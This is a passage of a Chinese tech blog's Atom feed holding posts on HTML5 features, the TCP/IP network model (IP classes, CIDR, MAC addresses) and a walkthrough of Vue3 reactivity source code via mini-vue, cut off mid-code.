</div></div><div><div><div>202</div></div><div><span>    </span><span>// 显示验证状态信息</span></div></div><div><div><div>203</div></div><div><span><span>    </span></span><span>customInput</span><span>.</span><span>addEventListener</span><span>(</span><span>'input'</span><span>, </span><span>function</span><span> () {</span></div></div><div><div><div>204</div></div><div><span>      </span><span>if</span><span><span> (</span><span>customInput</span><span>.</span></span><span>validity</span><span>.</span><span>valid</span><span>) {</span></div></div><div><div><div>205</div></div><div><span><span>        </span></span><span>customError</span><span>.</span><span>textContent</span><span> </span><span>=</span><span> </span><span>''</span><span>;</span></div></div><div><div><div>206</div></div><div><span><span>      </span></span><span>}</span></div></div><div><div><div>207</div></div><div><span><span>    </span></span><span>});</span></div></div><div><div><div>208</div></div><div><span><span>  </span></span><span>&lt;/</span><span>script</span><span>&gt;</span></div></div><div><div><div>209</div></div><div><span>&lt;/</span><span>body</span><span>&gt;</span></div></div><div><div><div>210</div></div><div>
</div></div><div><div><div>211</div></div><div><span>&lt;/</span><span>html</span><span>&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/html/html5/</id>
      <title type="text">HTML5新特性</title>
      <published>2025-05-01T00:00:00.000Z</published>
      <updated>2025-05-01T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/html/html5/"/>
      <summary type="text">HTML5 新特性速览：语义化标签、表单增强、多媒体、本地存储、Canvas、Web Workers 等。</summary>
      <content type="html"><![CDATA[

<table><thead><tr><th><strong>特性</strong></th><th><strong>优势</strong></th></tr></thead><tbody><tr><td>语义化标签</td><td>提升 SEO、可访问性、代码可维护性</td></tr><tr><td>表单增强</td><td>减少 JavaScript 验证，提升用户体验(新增表单类型和表单元素)</td></tr><tr><td>多媒体支持</td><td>无需插件，直接嵌入音视频</td></tr><tr><td>本地存储</td><td>离线数据持久化，减少服务器请求(LocalStorage/SessionStorage)</td></tr><tr><td>Canvas/SVG</td><td>动态图形绘制，替代 Flash</td></tr><tr><td>地理定位</td><td>提供位置服务，增强本地化体验</td></tr><tr><td>Web Workers</td><td>多线程处理，避免页面阻塞</td></tr><tr><td>WebSocket</td><td>实时双向通信，提升交互性</td></tr><tr><td>离线应用</td><td>支持离线操作，提升可靠性</td></tr><tr><td>设备兼容性</td><td>访问硬件（摄像头、文件系统），扩展功能</td></tr></tbody></table>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/basic/network/tcpip/tcpip/</id>
      <title type="text">TCP/IP协议</title>
      <published>2022-08-08T00:00:00.000Z</published>
      <updated>2022-08-08T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/basic/network/tcpip/tcpip/"/>
      <summary type="text">从字面上来看，很多人会认为 TCP/IP 是 TCP、IP 这两种协议，实际上TCP/IP 协议族指的是在 IP 协议通信过程中用到的协议的统称。</summary>
      <content type="html"><![CDATA[<section><h3>TCP/IP协议是什么<a href="#tcpip协议是什么"><span>#</span></a></h3><p>从字面上来看，很多人会认为 TCP/IP 是 TCP、IP 这两种协议，实际上TCP/IP 协议族指的是在 IP 协议通信过程中用到的协议的统称。</p></section>
<section><h3>为什么要有TCP/IP网络模型？<a href="#为什么要有tcpip网络模型"><span>#</span></a></h3><p>对于同一台设备的进程间通信，有很多种方式，比如管道、消息队列、共享内存、信号等方式，而对于不同设备的进程间通信，就需要网络通信。</p><p>一开始计算机厂商各自推出各自的网络体系结构和协议，只能用于自己的产品之间通信，就导致不同厂商之间不兼容，而为了让不同厂商的计算机设备都可以互通，在IETF(Internet Engineering Task Force)的建议下协商出了一系列标准化的网络协议TCP/IP。</p></section>
<section><h3>TCP/IP网络模型分层<a href="#tcpip网络模型分层"><span>#</span></a></h3><p>从顶向下可以分为应用层→传输层→网络层→数据链路层(网络接口层)。</p><section><h4>应用层<a href="#应用层"><span>#</span></a></h4><p>我们日常直接接触到的就是<strong>应用层(Application Layer)</strong> ，电脑、手机使用的应用都是在应用层实现，但若是不同设备的应用之间需要通信的时候，就需要将数据传给下一层，也就是传输层。</p><p>应用层专注于给用户提供应用功能，如HTTP、FTP、Telnet、DNS、SMTP等。</p><p>应用层不需要关心数据是如何传输的。就像我们寄快递时也不需要关心快递是如何运输到目的地的。</p><p><strong>应用层是工作于操作系统中的用户态，而传输层及以下是工作在内核态。</strong></p><blockquote><p>运行在用户态下的程序不能直接访问操作系统内核数据结构和程序。当我们在系统中执行一个程序时，大部分时间是运行在用户态下的，在其需要操作系统帮助完成某些它没有权力和能力完成的工作时就会切换到内核态（比如操作硬件）。</p></blockquote><p>结论：如果不涉及与其他设备通信就不需要内核态，也就是不需要从应用层传到传输层及之后的层。在HTTP协议中，连接就是利用内核建立的。</p></section><section><h4>传输层<a href="#传输层"><span>#</span></a></h4><p><strong>传输层(Transport Layer)</strong> 是为应用提供网络支持的。</p><p>传输层有两个协议，<strong>TCP</strong>和<strong>UDP</strong>。</p><p><strong>TCP</strong></p><p>TCP全称叫 传输控制协议（Transmission Control Protocol），大部分应用使用的是TCP传输层协议，因为应用的应用层使用的是HTTP协议，而HTTP协议是基于传输层的TCP协议。TCP相对比UDP多了很多特性，如流量控制、超时重传、拥塞控制等。是为了确保数据包可以可靠的从一方传输给另一方。</p><p>应用需要传输的数据有可能很大，如果直接传输的话不好控制(比如很大的文件如果只传一个包万一网卡就得重传，没法暂停续传)，因此当传输层的数据包大小超过 MSS（TCP 最大报文段长度） ，就要将数据包分块，这样即使中途有一个分块丢失或损坏了，只需要重新发送这一个分块，而不用重新发送整个数据包。在 TCP 协议中，我们把每个分块称为一个 <strong>TCP 段</strong>（<em>TCP Segment</em>）。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20250510172921327.png" alt="image-20250510172921327" /><figcaption>image-20250510172921327</figcaption></figure><p></p><p><strong>UDP</strong></p><p>UDP相对来说比较简单粗暴，只负责发送到对应应用数据包，不保证包是否能送到对方，但是它的实时性更好，传输效率也比TCP要高。而且UDP也可以实现可靠传输，只要把TCP的特性在应用层实现就可以，这样整体的数据传输还是可靠的。</p><blockquote><p>为什么TCP要有连接</p></blockquote><p>连接可以确保通信双方的收发能力，从而可以保证数据的可靠性，由于IP协议是无连接的，而HTTP之所以可以保证数据准确是在TCP有连接的基础上保证的。而UDP是继承IP协议的无连接，因此如果不在应用层上实现连接和数据可靠性则整个协议就无法保证数据可靠性。</p><p>上述所说的TCP建立连接不是说服务器和客户端真的有根网线连一块，而是一种虚拟的，这就和三次握手和四次挥手相关了。</p><blockquote><p>应用层和传输层之间的关系</p></blockquote><p>在客户端要和服务端通信时，应用层的数据包会送到传输层。而在接收服务端数据时，传输层会将对应应用的数据包发到对应应用的端口。</p><p>假如你在电脑上分别在用QQ和微信聊天，当你的电脑接受到一个数据包的时候，该怎么知道他到底是QQ的消息还是微信的消息呢？这就需要用传输层报文中的TCP/UDP头中的<strong>端口号</strong>(Destination Port)来确定，传输层用端口号来标记不同的应用程序。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20250510172938222.png" alt="image-20250510172938222" /><figcaption>image-20250510172938222</figcaption></figure><p></p><p>比如80端口通常是web服务器用，22端口是远程登录服务器，而浏览器中每一个Tab页则是独立的进程，随机分配的端口号。</p></section><section><h4>网络层<a href="#网络层"><span>#</span></a></h4><p>网络层是负责将数据从一个设备传输到另一个设备，而传输层是负责将设备上的数据传输到设备上的应用。目标地址可以是多个网络通过路由器连接而成的某一个地址。因此这一层主要负责寻址和路由选择。</p><p>网络层最常使用的是IP协议(Internet Protocol)，IP协议会将从传输层传出的报文作为数据部分，再加上IP报头组装成IP报文。<strong>这一层的主要作用是给数据包加上源地址和目标地址，将数据包传送到目标地址</strong>。</p><blockquote><p>既然网络层的目的是将数据包传送到目标地址，那么IP协议是如何做到的呢？</p></blockquote><p>通过IP协议的两大功能：<strong>寻址</strong>、<strong>路由</strong>。</p><p>寻址，匹配到相同的网络号(子网)，然后去对应子网下找对应的主机。</p><p>路由，在实际场景中，两台设备并不是由一根网线连接起来的，而是通过很多网关、路由器、交换机等许多网络设备连接起来，是一个网状的结构，从一个点到另一个点，就会有很多路径，因此当数据包到达途径节点时，就需要路由算法来决定下一步走哪条路径。</p><blockquote><p>和TCP报文类似，IP报文在大于MSS时也会分片</p></blockquote><p>在数据包到达网络层，会和IP头(源地址、目标地址)组装成IP报文，如果IP报文大小超过MTU(一般为1500字节)，就会再次分片，得到一个即将发送到网络的IP报文。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20250510173003395.png" alt="image-20250510173003395" /><figcaption>image-20250510173003395</figcaption></figure><p></p><p>上图的意思就是第一次传输层接受到的应用层数据包内容超过一个MSS（TCP 最大报文段长度），因此在传输层分别添加TCP头分为了两个TCP段进行发送，而到达网络层时又都需要添加IP头。而如果此时整个数据包大小若超过MTU(一般为1500字节)就又需要分为两个带IP的数据包到下一层。</p><blockquote><p>IP地址是什么？</p></blockquote><p>IP 地址是一个网卡在网络世界的通讯地址，相当于我们现实世界的门牌号码。</p><p>10.100.122.2 就是一个 IPv4 地址。这个地址被点分隔为四个部分，每个部分 8 个 bit(8位2进制)，所以 IP 地址总共是 32 位，也就是说IP地址最多有2的32次方个，42亿多个，但没想到还是不够用了，因此出现了IPv6地址，如fe80::f816:3eff:fec7&lt;7975&gt;/64，IPv6有128位，总数2^128次方，目前看来是够用了。</p><p><strong>IP分类</strong></p><p>IPv4地址还被分为了5类，分别是A,B,C,D,E这五种。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20250510173014668.png" alt="image-20250510173014668" /><figcaption>image-20250510173014668</figcaption></figure><p></p><p>对于常用的A、B、 C 类主要分两部分，前面是网络号，后面是主机号。可以认为网络号是小区名，而主机号是具体的门牌名。比如A小区1栋1单元201和B小区1栋1单元201。</p><p>而不同的小区可以容纳的住户也是不同数量的，比如A类小区下根据主机号24位则可以有2^24次方也就是16777214户，依次类推。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20250510173027481.png" alt="image-20250510173027481" /><figcaption>image-20250510173027481</figcaption></figure><p></p><p>但是按照这样分配则会造成不够用或是浪费的情况，比如C类地址只有254，对于网吧可能都不够用，而B类下有6万多，非大型企业压根也用不完，会导致浪费。</p><p><strong>无类型域间选路（CIDR）</strong></p><p>因此除了上述的<strong>IP分类</strong>，有了一个折中的方法叫<strong>无类型域间选路</strong>，简称 <strong>CIDR</strong>(Classless Inter-Domain Routing)。CIDR的做法是将32位的IP地址一分为二，前面是<strong>网络号</strong>，后面是<strong>主机号</strong>。</p><ul>
<li><strong>网络号</strong>，负责标识该 IP 地址是属于哪个「子网」的；</li>
<li><strong>主机号</strong>，负责标识同一「子网」下的不同主机；</li>
</ul><p>比如10.100.122.2/24，斜杠后的24代表的意思就是当前网络地址的32位中，前24位是网络号，后8位是主机号。</p><p>如何区分网络号和主机号？需要<strong>IP地址</strong>配合<strong>子网掩码</strong>算出<strong>网络号</strong>和<strong>主机号</strong>。其实上述中10.100.122.2 <strong>/24</strong>中的24就表示子网掩码是255.255.255.0(3个255代表的实际上就是前24个二进制位都是1，8个2进制1刚好是255)，代表相同的意思。</p><p>将子网掩码和IP地址进行逻辑与(AND)运算可以得到<strong>网络号</strong>。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20250510173043706.png" alt="image-20250510173043706" /><figcaption>image-20250510173043706</figcaption></figure><p></p><p>将子网掩码255.255.255.0取反后与IP地址进行按位与运算，则可以得到主机号也就是2。</p><p>伴随CIDR存在的一个是<strong>广播地址</strong>，10.100.122.255。如果发送到这个地址，则所有10.100.122网络里面的机器都可以收到。<strong>网络号可以想成是一个由一些主机组成的大群，广播地址可以认为是直接往大群里发消息的地址</strong>。</p><p><strong>公有 IP 地址和私有 IP 地址</strong></p><p>CIDR中还存在公有IP地址和私有IP地址。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20250510173101618.png" alt="image-20250510173101618" /><figcaption>image-20250510173101618</figcaption></figure><p></p><p>公有IP地址可以认为是小区名，私有IP地址可以认为是门牌号，A小区可以有1栋1单元201，B小区也同样可以有1栋1单元201。</p><p>常见的公有IP地址就是那些你在互联网上直接访问到的网站服务器，都有一个公有IP地址以供访问。</p><p>一般办公室、家里的IP地址都是私有的地址，这些地址允许组织内部的IT人员自己管理、分配。常见的私有地址是家里Wi-Fi下的IP地址，一般是192.168.0.x，一般/24就够了，对应的就是254个可以分配的IP地址。有时也有/16的CIDR，这两种是最常见的。</p><p>可以看出192.168.0是网络号，后面是主机号，整个网络中第一个地址192.168.0.1，往往是你这个私有网络的出口地址，比如连接WIFI，WIFI路由器的地址就是192.168.0.1(通常我们管理路由器比如改密码也是登录这个IP)。</p><blockquote><p>MAC地址</p></blockquote><p>在 IP 地址的上一行是 link/ether fa:16:3e:c7:79&lt;75&gt; brd ff:ff:ff:ff:ff，这个被称为 MAC 地址，是一个网卡的物理地址，用十六进制，6 个 byte 表示。MAC 地址是一个很容易让人“误解”的地址。</p><p>因为 MAC 地址号称全局唯一，不会有两个网卡有相同的 MAC 地址，而且网卡自生产出来，就带着这个地址。很多人看到这里就会想，既然这样，整个互联网的通信，全部用 MAC 地址好了，只要知道了对方的 MAC 地址，就可以把信息传过去。这样当然是不行的。 一个网络包要从一个地方传到另一个地方，除了要有确定的地址，还需要有定位功能。 而有门牌号码属性的 IP 地址，才是有远程定位功能的。</p><p>例如，你是一个警察，要抓法外狂徒张三，现在只知道他的身份证号，张三同名的人很多，总不能满中国翻人身份证看是不是这个法外狂徒，所以你得根据情报之类的线索先确定他在哪个区域，然后再根据监控啥的抓捕。MAC 地址就像是身份证，是一个唯一的标识。它的唯一性设计是为了组网的时候，不同的网卡放在一个网络里面的时候，可以不用担心冲突。</p><p>从硬件角度，保证不同的网卡有不同的标识。MAC 地址是有一定定位功能的，只不过范围非常有限。你可以根据 IP 地址，找到杭州市网商路 599 号 B 楼 6 层，但是依然找不到我，你就可以靠吼了，大声喊身份证 XXXX 的是哪位？我听到了，我就会站起来说，是我啊。但是如果你在上海，到处喊身份证 XXXX 的是哪位，我不在现场，当然不会回答，因为我在杭州不在上海。</p><p>所以，MAC 地址的通信范围比较小，局限在一个子网里面。例如，从 192.168.0.2/24 访问 192.168.0.3/24 是可以用 MAC 地址的。一旦跨子网，即从 192.168.0.2/24 到 192.168.1.2/24，MAC 地址就不行了，需要 IP 地址起作用了。</p></section><section><h4>数据链路层<a href="#数据链路层"><span>#</span></a></h4><p>通信传输实际上是通过物理的传输介质实现的，数据链路层的作用是在这些通过传输介质互连的设备之间进行数据处理。</p><p>将数据中的0、1转换位电压和脉冲光传输通过物理的传输介质在相互直连的设备之间使用MAC地址进行传输。MAC地址，也可以称为物理地址或硬件地址，目的是为了识别连接到同一个传输介质上的设备。</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/framework/vue/reactivity/</id>
      <title type="text">Vue3 源码中 Reactivity 浅析</title>
      <published>2022-03-04T00:00:00.000Z</published>
      <updated>2022-03-04T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/framework/vue/reactivity/"/>
      <summary type="text">根据 mini-vue 进行学习.</summary>
      <content type="html"><![CDATA[<p>根据 mini-vue 进行学习.</p>
<p>打开<a href="https://github.com/cuixiaorui/mini-vue" target="_blank">mini-vue</a>
<code>pnpm install</code> 安装依赖。</p>
<section><h3>Reactive<a href="#reactive"><span>#</span></a></h3><section><h4>目的<a href="#目的"><span>#</span></a></h4><p>将一个普通对象转换为 proxy 对象</p><ol>
<li>
<p>根据 mini-vue 的源码文件路径 <code>reactivity/src/reactive.ts</code> 分析<code>createReactiveObject(target, proxyMap, baseHandlers)</code></p>
<p>mini-vue</p>
</li>
</ol><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>// target就是传入的对象</span></div></div><div><div><div>2</div></div><div><span>function</span><span> </span><span>createReactiveObject</span><span><span>(</span><span>target</span><span>, </span><span>proxyMap</span><span>, </span><span>baseHandlers</span><span>) {</span></span></div></div><div><div><div>3</div></div><div><span>...</span></div></div><div><div><div>4</div></div><div><span>  </span><span>const</span><span> </span><span>proxy</span><span> </span><span>=</span><span> </span><span>new</span><span> </span><span>Proxy</span><span>(</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>target</span><span>,</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>baseHandlers</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>)</span></div></div><div><div><div>8</div></div><div><span>...</span></div></div><div><div><div>9</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在<code>reactive.ts</code>中 import 的三个函数(<code>mutableHandlers/readonlyHandlers/shallowReadonlyHandlers</code>)是从<code>reactivity/src/baseHandlers.ts</code> 文件中 export 的，同时这三个对象也是<code>createReactiveObject</code>中的第三个形参 baseHandlers 的入参，也就是<code>new Proxy</code>的第二个入参。</p><p>2.分析<code>reactivity/src/baseHandlers.ts</code> ，根据 MDN 对于<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy" target="_blank">Proxy</a>的第二个参数<code>handler</code>的定义我们可以明确，导出的这三个对象内可以用 get 和 set 函数来拦截属性。</p><p>目前主要关注导出的对象<code>mutableHandlers</code> ，因为<code>reactive(target)</code>内部用的就是 mutableHandlers。</p><p>在<code>reactive.ts</code> 中可以看到通过<code>baseHandlers.ts</code>引入的三个对象，不同的函数引用的不同的对象作为 proxy 的第二个参数 handler</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>import</span><span> {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>mutableHandlers</span><span>,</span></div></div><div><div><div>3</div></div><div><span>  </span><span>readonlyHandlers</span><span>,</span></div></div><div><div><div>4</div></div><div><span>  </span><span>shallowReadonlyHandlers</span><span>,} </span><span>from</span><span> </span><span>"./baseHandlers"</span><span>;</span></div></div><div><div><div>5</div></div><div><span>...</span></div></div><div><div><div>6</div></div><div><span>export</span><span> </span><span>function</span><span> </span><span>reactive</span><span><span>(</span><span>target</span><span>) {</span></span></div></div><div><div><div>7</div></div><div><span>  </span><span>return</span><span> </span><span>createReactiveObject</span><span><span>(</span><span>target</span><span>, </span><span>reactiveMap</span><span>, </span></span><span>**</span><span>mutableHandlers</span><span>**</span><span>);</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>export</span><span> </span><span>function</span><span> </span><span>readonly</span><span><span>(</span><span>target</span><span>) {</span></span></div></div><div><div><div>11</div></div><div><span>  </span><span>return</span><span> </span><span>createReactiveObject</span><span><span>(</span><span>target</span><span>, </span><span>readonlyMap</span><span>, </span><span>readonlyHandlers</span><span>);</span></span></div></div><div><div><div>12</div></div><div><span>}</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>export</span><span> </span><span>function</span><span> </span><span>shallowReadonly</span><span><span>(</span><span>target</span><span>) {</span></span></div></div><div><div><div>15</div></div><div><span><span>  </span></span><span>...</span></div></div><div><div><div>16</div></div><div><span>}</span></div></div><div><div><div>17</div></div><div><span>function</span><span> </span><span>createReactiveObject</span><span><span>(</span><span>target</span><span>, </span><span>proxyMap</span><span>, </span><span>baseHandlers</span><span>) {</span></span></div></div><div><div><div>18</div></div><div><span>...</span></div></div><div><div><div>19</div></div><div><span>  </span><span>const</span><span> </span><span>proxy</span><span> </span><span>=</span><span> </span><span>new</span><span> </span><span>Proxy</span><span>(</span></div></div><div><div><div>20</div></div><div><span><span>    </span></span><span>target</span><span>,</span></div></div><div><div><div>21</div></div><div><span>    </span><span>**</span><span>baseHandlers</span><span>**</span></div></div><div><div><div>22</div></div><div><span><span>  </span></span><span>)</span></div></div><div><div><div>23</div></div><div><span>...</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><code>baseHandlers.ts</code> 可以看到 mutableHandlers 是如何被构造的</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>get</span><span> </span><span>=</span><span> </span><span>createGetter</span><span>();</span></div></div><div><div><div>2</div></div><div><span>const</span><span> </span><span>set</span><span> </span><span>=</span><span> </span><span>createSetter</span><span>();</span></div></div><div><div><div>3</div></div><div><span>createGetter</span><span><span>(</span><span>isReadonly</span><span> </span></span><span>=</span><span> </span><span>false</span><span><span>, </span><span>shallow</span><span> </span></span><span>=</span><span> </span><span>false</span><span>) {</span></div></div><div><div><div>4</div></div><div><span>  </span><span>// 返回get函数</span></div></div><div><div><div>5</div></div><div><span>  </span><span>return</span><span> </span><span>function</span><span> </span><span>get</span><span><span>(</span><span>target</span><span>, </span><span>key</span><span>, </span><span>receiver</span><span>){</span></span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>...</span></div></div><div><div><div>7</div></div><div><span>    </span><span>const</span><span> </span><span>res</span><span> </span><span>=</span><span><span> </span><span>Reflect</span><span>.</span></span><span>get</span><span><span>(</span><span>target</span><span>, </span><span>key</span><span>, </span><span>receiver</span><span>);</span></span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>...</span></div></div><div><div><div>9</div></div><div><span>    </span><span>// 返回通过Reflect.get的值</span></div></div><div><div><div>10</div></div><div><span>    </span><span>return</span><span><span> </span><span>res</span></span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>12</div></div><div><span>}</span></div></div><div><div><div>13</div></div><div><span>function</span><span> </span><span>createSetter</span><span>() {</span></div></div><div><div><div>14</div></div><div><span>  </span><span>// 返回set函数</span></div></div><div><div><div>15</div></div><div><span>  </span><span>return</span><span> </span><span>function</span><span> </span><span>set</span><span><span>(</span><span>target</span><span>, </span><span>key</span><span>, </span><span>value</span><span>, </span><span>receiver</span><span>) {</span></span></div></div><div><div><div>16</div></div><div><span>    </span><span>const</span><span> </span><span>result</span><span> </span><span>=</span><span><span> </span><span>Reflect</span><span>.</span></span><span>set</span><span><span>(</span><span>target</span><span>, </span><span>key</span><span>, </span><span>value</span><span>, </span><span>receiver</span><span>);</span></span></div></div><div><div><div>17</div></div><div>
</div></div><div><div><div>18</div></div><div><span>    </span><span>// 在触发 set 的时候进行触发依赖</span></div></div><div><div><div>19</div></div><div><span>    </span><span>trigger</span><span><span>(</span><span>target</span><span>, </span></span><span>"set"</span><span><span>, </span><span>key</span><span>);</span></span></div></div><div><div><div>20</div></div><div>
</div></div><div><div><div>21</div></div><div><span>    </span><span>return</span><span><span> </span><span>result</span><span>;</span></span></div></div><div><div><div>22</div></div><div><span><span>  </span></span><span>};</span></div></div><div><div><div>23</div></div><div><span>}</span></div></div><div><div><div>24</div></div><div><span>// 导出给reactive中createReactiveObject作为第二个入参</span></div></div><div><div><div>25</div></div><div><span>export</span><span> </span><span>const</span><span> </span><span>mutableHandlers</span><span> </span><span>=</span><span> {</span></div></div><div><div><div>26</div></div><div><span><span>  </span></span><span>get</span><span>,</span></div></div><div><div><div>27</div></div><div><span><span>  </span></span><span>set</span><span>,</span></div></div><div><div><div>28</div></div><div><span>};</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>可以看到 mutableHandlers 这个对象内部有 get 和 set 两个属性函数，这两个函数在设置返回值 res/result 时，采用的是 Reflect 上的 get 和 set 方法。</p></section></section>
<section><h3>effect 核心<a href="#effect-核心"><span>#</span></a></h3><p>配合 Reactive / Ref 达到依赖收集(<code>track</code>)和触发依赖(<code>trigger</code>)</p><p><code>src/reactivity/src/effect.ts</code></p><section><h4>effect 的目的(为什么有 effect)<a href="#effect-的目的为什么有-effect"><span>#</span></a></h4><p>effect 的目的是什么？</p><p>下面是对应单测代码<code>src/reactivity/``**tests**``/effect.spec.ts</code>，同时也对应 effect 需要做到的功能。</p><p>effect 会接受一个函数，当后续 counter.num 改变为 7 时，让 dummy 也跟着改变为 7。</p><p>也就是说当 effect 内部包裹的函数内依赖的数据发生变化时，重新执行这个函数，更新数据。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>it</span><span>(</span><span>"should observe basic properties"</span><span>, () </span><span>=&gt;</span><span> {</span></div></div><div><div><div>2</div></div><div><span>    </span><span>let</span><span><span> </span><span>dummy</span><span>;</span></span></div></div><div><div><div>3</div></div><div><span>    </span><span>const</span><span> </span><span>counter</span><span> </span><span>=</span><span> </span><span>reactive</span><span>({ </span><span>num</span><span>:</span><span> </span><span>0</span><span> });</span></div></div><div><div><div>4</div></div><div><span>    </span><span>effect</span><span>(() </span><span>=&gt;</span><span><span> (</span><span>dummy</span><span> </span></span><span>=</span><span><span> </span><span>counter</span><span>.</span></span><span>num</span><span>));</span></div></div><div><div><div>5</div></div><div><span>    </span><span>expect</span><span><span>(</span><span>dummy</span><span>).</span></span><span>toBe</span><span>(</span><span>0</span><span>);</span></div></div><div><div><div>6</div></div><div><span><span>    </span></span><span>counter</span><span>.</span><span>num</span><span> </span><span>=</span><span> </span><span>7</span><span>;</span></div></div><div><div><div>7</div></div><div><span>    </span><span>expect</span><span><span>(</span><span>dummy</span><span>).</span></span><span>toBe</span><span>(</span><span>7</span><span>);</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>});</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h4>effect 是怎么做的<a href="#effect-是怎么做的"><span>#</span></a></h4><p>回过头来看 effect 的代码<code>src/reactivity/src/effect.ts</code></p><p>关注其中的<code>effect(fn, options = {})</code>函数</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>export</span><span> </span><span>function</span><span> </span><span>effect</span><span><span>(</span><span>fn</span><span>, </span><span>options</span><span> </span></span><span>=</span><span> {}) {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>const</span><span> </span><span>_effect</span><span> </span><span>=</span><span> </span><span>new</span><span> </span><span>ReactiveEffect</span><span><span>(</span><span>fn</span><span>);</span></span></div></div><div><div><div>3</div></div><div><span>  </span><span>// 把用户传过来的值合并到 _effect 对象上去</span></div></div><div><div><div>4</div></div><div><span>  </span><span>// 缺点就是不是显式的，看代码的时候并不知道有什么值</span></div></div><div><div><div>5</div></div><div><span>  </span><span>extend</span><span><span>(</span><span>_effect</span><span>, </span><span>options</span><span>);</span></span></div></div><div><div><div>6</div></div><div><span>  </span><span>// 实际上是执行用户传入的fn。run方法是声明在ReactiveEffect实例上的</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>_effect</span><span>.</span><span>run</span><span>();</span></div></div><div><div><div>8</div></div><div><span><span>  </span></span><span>...</span></div></div><div><div><div>9</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>_effect.run();</code>执行的是<code>ReactiveEffect</code>类给实例对象用的方法</p><ul>
<li>activeEffect 在更新依赖时用于给下一次的 get</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>export</span><span> </span><span>class</span><span> </span><span>ReactiveEffect</span><span> {</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>...</span></div></div><div><div><div>3</div></div><div><span>  </span><span>run</span><span>() {</span></div></div><div><div><div>4</div></div><div><span><span>      </span></span><span>...</span></div></div><div><div><div>5</div></div><div><span>      </span><span>// 利用全局属性来获取当前的 effect</span></div></div><div><div><div>6</div></div><div><span><span>      </span></span><span>activeEffect</span><span> </span><span>=</span><span> </span><span>this</span><span><span> </span><span>as</span><span> </span></span><span>any</span><span>;</span></div></div><div><div><div>7</div></div><div><span>      </span><span>// 执行用户传入的 fn</span></div></div><div><div><div>8</div></div><div><span>      </span><span>const</span><span> </span><span>result</span><span> </span><span>=</span><span> </span><span>this</span><span>.</span><span>fn</span><span>();</span></div></div><div><div><div>9</div></div><div><span><span>      </span></span><span>...</span></div></div><div><div><div>10</div></div><div><span>      </span><span>return</span><span><span> </span><span>result</span><span>;</span></span></div></div><div><div><div>11</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>...</span></div></div><div><div><div>13</div></div><div><span><span>  </span></span><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>执行 fn()之后，实际上对应就是调用了上面单测案例中的被 effect 接收的函数<code>() =&gt; (dummy = counter.num)</code> , 其中 counter 是一个响应式对象，当<code>couter.name</code>时实际上就会触发 proxy 实例中的 get 方法，其实对应的就是 baseHandler.ts 中的 get 方法</p><p>然后来看<code>baseHandler.ts</code>中的<code>get</code></p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>const</span><span> </span><span>get</span><span> </span><span>=</span><span> </span><span>createGetter</span><span>();</span></div></div><div><div><div>2</div></div><div><span>function</span><span> </span><span>createGetter</span><span><span>(</span><span>isReadonly</span><span> </span></span><span>=</span><span> </span><span>false</span><span><span>, </span><span>shallow</span><span> </span></span><span>=</span><span> </span><span>false</span><span>) {</span></div></div><div><div><div>3</div></div><div><span>  </span><span>return</span><span> </span><span>function</span><span> </span><span>get</span><span><span>(</span><span>target</span><span>, </span><span>key</span><span>, </span><span>receiver</span><span>) {</span></span></div></div><div><div><div>4</div></div><div><span><span>    